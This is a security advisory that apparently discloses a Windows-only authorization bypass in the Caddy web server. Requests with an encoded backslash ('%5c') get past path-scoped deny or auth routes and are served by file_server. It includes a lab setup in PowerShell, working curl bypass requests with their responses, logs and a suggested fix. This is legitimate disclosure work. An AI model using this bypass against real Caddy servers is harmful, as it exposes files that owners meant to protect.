+ "details": "### Summary\n\nOn Windows, Caddy `path` matchers treat `/private\\secret.txt` as outside `/private/*`, but `file_server` later resolves the same request path as `private\\secret.txt` on disk.\n\nAn unauthenticated remote client can request `/private%5csecret.txt` and bypass Caddy path-scoped auth/deny routes protecting `/private/*`.\n\n### Details\n\nThe mismatch is between two Caddy code paths:\n\n- `MatchPath.MatchWithError()` compares `r.URL.Path` using URL path semantics and does not normalize `\\` to `/`: `modules/caddyhttp/matchers.go:429`, `:436`, `:490`, `:532`.\n- If the route matcher misses, Caddy skips that route: `modules/caddyhttp/routes.go:271`.\n- `file_server` then maps the same request path to a filesystem path with `SanitizedPathJoin(root, r.URL.Path)`: `modules/caddyhttp/fileserver/staticfiles.go:294`, `modules/caddyhttp/caddyhttp.go:257`, `:263`.\n- On Windows, Go filesystem path handling treats `\\` as a separator, so the default filesystem opens the file under the protected directory: `internal/filesystems/os.go:18`.\n\nThis is related to, but distinct from, `GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585`. That advisory fixed backslash handling in the `file` matcher / `try_files` glob path. This report does not use `try_files` or the `file` matcher; it affects ordinary `path` route matchers in front of direct `file_server` serving and reproduces on current HEAD.\n\n### PoC\n\nTested on current HEAD `6c675e29f87cbe7326983ddb6d739175119d394c` with a Windows `caddy.exe` built from this repository.\n\nOn Windows, create the test files and Caddyfile:\n\n```powershell\n$base = \"C:\\Users\\Public\\caddy-backslash-poc\"\nRemove-Item -Recurse -Force $base -ErrorAction SilentlyContinue\nNew-Item -ItemType Directory -Force \"$base\\www\\private\" | Out-Null\nSet-Content -Path \"$base\\www\\private\\secret.txt\" -Value \"SECRET_FROM_WINDOWS_LAB\" -NoNewline -Encoding ASCII\n\n@'\n{\n\tdebug\n\tadmin off\n\tauto_https off\n}\n\n:19080 {\n\tlog\n\troot * C:\\Users\\Public\\caddy-backslash-poc\\www\n\n\t@private path /private/*\n\trespond @private 403\n\n\tfile_server\n}\n'@ | Set-Content -Path \"$base\\Caddyfile\" -Encoding ASCII\n```\n\nStart Caddy:\n\n```powershell\ncd C:\\Users\\Public\\caddy-backslash-poc\n.\\caddy.exe run --config Caddyfile --adapter caddyfile\n```\n\nBaseline request, expected to be blocked:\n\n```bash\ncurl -v --path-as-is http://<windows-host>:19080/private/secret.txt\n```\n\nObserved:\n\n```text\n> GET /private/secret.txt HTTP/1.1\n< HTTP/1.1 403 Forbidden\n```\n\nBypass request:\n\n```bash\ncurl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'\n```\n\nObserved:\n\n```text\n> GET /private%5csecret.txt HTTP/1.1\n< HTTP/1.1 200 OK\n< Content-Length: 23\n\nSECRET_FROM_WINDOWS_LAB\n```\n\nUppercase `%5C` produces the same result.\n\nRelevant debug log lines:\n\n```json\n{\"msg\":\"using config from file\",\"file\":\"C:\\\\Users\\\\Public\\\\caddy-backslash-poc\\\\Caddyfile\"}\n{\"logger\":\"http.log\",\"msg\":\"server running\",\"name\":\"srv0\",\"protocols\":[\"h1\",\"h2\",\"h3\"]}\n{\"logger\":\"http.log.access\",\"request\":{\"method\":\"GET\",\"uri\":\"/private/secret.txt\"},\"status\":403}\n{\"logger\":\"http.log.access\",\"request\":{\"method\":\"GET\",\"uri\":\"/private%5csecret.txt\"},\"status\":200}\n```\n\n### Impact\n\nThis is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before `file_server`.\n\nThis pattern is documented by Caddy itself, for example `basic_auth /secret/* { ... }` followed by `file_server`.\n\nAn attacker can read files that were intended to be protected by Caddy-side `basic_auth`, `respond 403`, or other path-scoped handlers. The issue does not escape the configured site root; `..%5c` traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.\n\n### Suggested Fix\n\nNormalize Windows path separators consistently before `MatchPath` evaluates request paths, or reject request paths containing `\\` before `file_server` resolves them as filesystem separators.\n\nThe important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.\n\n### AI Disclosure\n\nLLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows `caddy.exe` built from current HEAD.",
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